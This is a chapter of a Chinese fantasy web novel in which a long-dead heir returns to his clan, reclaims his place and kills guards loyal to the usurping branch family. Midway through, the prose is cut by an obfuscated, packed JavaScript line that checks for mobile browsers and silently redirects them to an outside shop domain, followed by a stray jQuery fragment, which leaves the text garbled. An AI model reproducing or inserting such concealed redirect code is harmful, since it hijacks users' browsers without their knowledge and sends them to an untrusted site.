如果让人都回来,秦家就错过了这次的妖物潮,如果不回来,那妖物一旦回来报仇,后果不堪设想。
“不用回来。”
“族长……那妖物回来怎么办?”秦火度急了。
“他不会这么快回来。”
“族长,对他……不能掉以轻心。”
秦天远不耐烦地挥了挥手:“竹家现在自顾不暇,他暂时没有时间回来报仇。”
百年来竹家早已不是当年的竹家,竹家家主竹青天早在三十年前旧疾复发现在差不多已经死了,现在的竹家由曾经的旁支掌控多年,竹家已经不是他的竹家。
“族长,那咱们也不必太怕他。”秦火度闻言立马放松了下来,说话也轻快了许多。
“别说了,立马也要派人给竹家送消息。”
这次秦火度立马明白了他的意思,立马转身去安排。
这个晚上,秦家周边的望林山彻夜灯火通明,从上到下每个人都出动拉人墙找人。
天亮了,秦天远满眼血丝,石桌前的茶水都不知道喝了多少壶,已经等不到有好消息。
“族长,各个小队全都没有找到那个妖物。”平时风度翩翩的秦研此时也是满脸疲惫,声音沙哑。
秦天远一拳砸在石桌上,茶水溅了一桌。他深吸一口气,压下翻涌的怒意:“查,继续查。”
秦研等人也不敢多言,躬身退下。秦火度小声道:“族长,现在这个时间,竹家应该收到消息有所准备,加上现在这些旁支的实力,只怕那东西回去也只有死一条路。”
“希望竹家不要让人失望。”
再说,布偶百年后终于跟自己的身体重逢。伸出手,指尖触到那具早已干瘪的躯壳时,竟微微发颤。它低头看着自己——这具曾经鲜活、如今却只剩皮骨的身体,恨意如潮水般涌上心头。他闭上眼,深吸一口气,仿佛要将百年的孤寂与屈辱一并吞下。再睁眼时,那双空洞的眼眶里,竟有了一丝微弱的光。他缓缓抬起手,指尖轻触自己的脸颊,干枯的皮肤下,似乎能感受到一丝久违的温度。他低声呢喃:“先回竹家。”声音沙哑。
没有立刻去找秦家算账,身形一晃,化作一道黑色流光,朝着竹家的方向疾驰而去。
再说石天市往东一百公里,石林遍布整个山脉,最高位置的绝石崖有一个隐蔽的洞口。
这就是想要进入竹家的三个入口之一,也是竹家的正门。洞口两侧的石壁上刻着密密麻麻的符文,在晨光中泛着微弱的青光,像是某种古老的封印。
再往里就是天然巨大的石洞,冬暖夏凉,错综复杂。
石洞深处,隐约可见几座石屋依势而建,石壁上嵌着夜明珠,光线柔和,宛如鬼魅的竹官耀身影落在洞口。
此时竹家百尺高的祠堂坐高层,原本只有微弱昏暗烛光,此时桌子上摆着的原本几乎肉眼不到光的一盏油灯突然亮了起来,烛火无风自动,跳动的光芒映在墙上,让外面看守的竹家下人心头一紧。他揉了揉眼睛,确认不是错觉,连忙转身跑去族人居住之地。
“族长!祠堂的烛火亮了!”竹家下人跌跌撞撞冲进内院,声音里带着颤抖。
“慌什么。”一道沉稳的声音从内室传出,紧接着门帘掀开,走出一位目光锐利的中年人。他目光如炬,扫了一眼惊慌的下人,沉声道:“具体什么情况?”
“少……主的魂灯亮了。”
“少主,哪来的少主?”竹家现任族长竹甫尚眉头一皱,不满下人居然会出现如此简单的错误。
竹家现任家主竹甫尚有两子两女,却从未在两子之间选定未来竹家少主人选。
“家主,是……”下人现在反倒愈发结巴。
竹甫尚的眼神骤然变得凌厉,一把抓住下人的衣领:“你说清楚,哪盏灯?难道是竹官耀?”
“是……是竹官耀少爷的魂灯。”下人被竹的气势吓得几乎说不出完整的话,
“竹官耀?他不是已经……”竹甫尚的手微微颤抖,松开下人,转身快步朝祠堂走去。
祠堂的门被猛地推开,竹甫尚站在门槛前,目光死死锁住那盏跳动的油灯。烛火摇曳,映照出灯座下刻着的名字——竹官耀。
他深吸一口气,声音低沉却带着压抑不住的激动:“传令下去,所有竹家子弟,即刻停止手中事务,全力搜寻竹官耀的下落。”
“是!”下人领命而去,脚步声在石洞中回荡。竹甫尚站在祠堂内,目光久久凝视着那盏魂灯。
魂灯亮起,意味着竹官耀还活着,而且就在这方圆百里之内。
“什么人!”负责安保的竹家护卫瞬间警觉,纷纷紧盯广场中央的黑影。
黑影缓缓站起身,露出竹官耀苍白、骨瘦如柴的脸,嘴角勾起一抹嘲讽:“果然现在的竹家的人,连谁是主子都不记得了!”
“少主?”有个年长的护卫突然出声。
“少主,什么少主?”其他护卫们面面相觑,他们都是竹甫尚上位以后,从竹家旁支提拔起来年轻的子弟。他们出生的时候作为旁支想要见到作为少主的竹官耀是极其困难的,现在认出来难。
其实更加关键的原因是竹家现任家主竹甫尚是旁支出身,掌权后更是极少提及竹官耀的存在,只对外宣称当年的少主早已在灵气复苏初期的灾变中陨落。
“放肆!”年长的护卫厉喝一声,单膝跪地,“属下竹白,恭迎少主归来!”
其余护卫见状,却还是迟疑着,很快最为护卫长的旁支弟子不高兴了:“老竹你发什么病呢,竹家哪来的少主?还不赶快起来。一起把这个来历不明的人拿下!”边说边一脚踹向跪在地上的竹白。
竹白不躲不闪,硬生生挨了这一脚,身体晃了晃,却依旧跪得笔直。他抬起头,目光灼灼地看向竹官耀:“少主,属下无能,让您受委屈了。”他的声音沙哑,带着深深的愧疚。
“竹白,你发什么疯呢!”时间太久,竹家这些旁支子弟是真的忘记了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843818|211535||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
竹家真正的主人家是谁。竹白的行为让其他护卫更加困惑,甚至有人开始低声议论:“这老竹是不是脑子坏了?竹家哪来的少主?”
护卫队长脸色一沉,抬脚好像又要踹向竹白,竹官耀的一只手终于动了。黑气从他手里凝聚成一条细线,无声无息地缠上护卫队长的脚踝。那护卫队长还没反应过来,整个人便像被无形的力量拽住,猛地摔倒在地,发出一声闷响。他挣扎着想要爬起来,却发现脚踝处传来一阵剧痛,低头一看,黑气如毒蛇般缠绕,皮肤上竟浮现出淡淡的黑色纹路,像是被什么东西侵蚀了一般,迅速蔓延至小腿。护卫队长惨叫一声,脸色煞白,惊恐地看向竹官耀:“你……你对我做了什么!”其他护卫见状,纷纷拔出武器,却不敢贸然上前。
“不尊重主子,死!”
“你还想杀人?”护卫队长反倒不相信对面的竹官耀这么大胆,毕竟这里是竹家的大本营,他一个瘦骨嶙峋的残废,能翻起什么浪来?
“啊!”惨叫声在院落中骤然炸响,护卫队长整个人上一秒还在说话,下一秒他突然不动了,整个人像被定格了。
等其他护卫反应过来时,只见护卫队长的身体开始从脚踝处寸寸碎裂,像被无形的力量撕扯成碎片,呼吸之间,对方的身体已经变成了一块碎肉,散落一地,连惨叫都没来得及完整发出。血腥味弥漫开来,剩下的护卫们脸色惨白,有人已经开始干呕,有人双腿发软,手中的武器“哐当”一声掉在地上。竹白依旧跪着,但眼神中却闪过一丝快意。
这些人,早该被清理了。旁支就是旁支,居然敢在少主出事,家主受伤失踪,趁火打劫,霸占主家基业。下一个就该轮到现任家主竹甫尚了。
“起来吧。带我去找现任家主。”
“少主,要不要换个时间,现在他们掌控了家族九成九。”竹白冒着风险提醒道。
竹官耀却只是淡淡扫了他一眼,黑气在指尖缠绕,语气平静却不容置疑:“不必。带路。”
竹白不敢再耽搁,站起身,拍了拍膝盖上的尘土,转身朝院落深处走去。
“你不能走。”刚才没几步,竹官耀两人就被缓过神来的护卫们拦住了去路。为首的一个壮汉强撑着举起长刀,声音发颤却故作凶狠:“你……你杀了队长,还想走?”
见竹官耀停下了脚步,有一个护卫慢慢离开队伍,往后面跑去报信。
黑气就在竹官耀指尖缠绕,他看都没看那报信之人,只是轻轻一弹指尖,一缕黑气如箭般射出,瞬间穿透了为首壮汉的眉心。
壮汉瞳孔骤散,身体直挺挺向后倒去,眉心处一个细小的黑点迅速扩散,皮肤如枯叶般龟裂,又是血腥一幕重现。
“你……”剩下的护卫们彻底崩溃了,虽然还没有跑,但双腿打战,手中的武器再也握不住。
“滚。”竹官耀只吐出一个字,声音不大,却像一记重锤砸在每个人心头。护卫们如蒙大赦,连滚带爬地四散奔逃,再无人敢阻拦。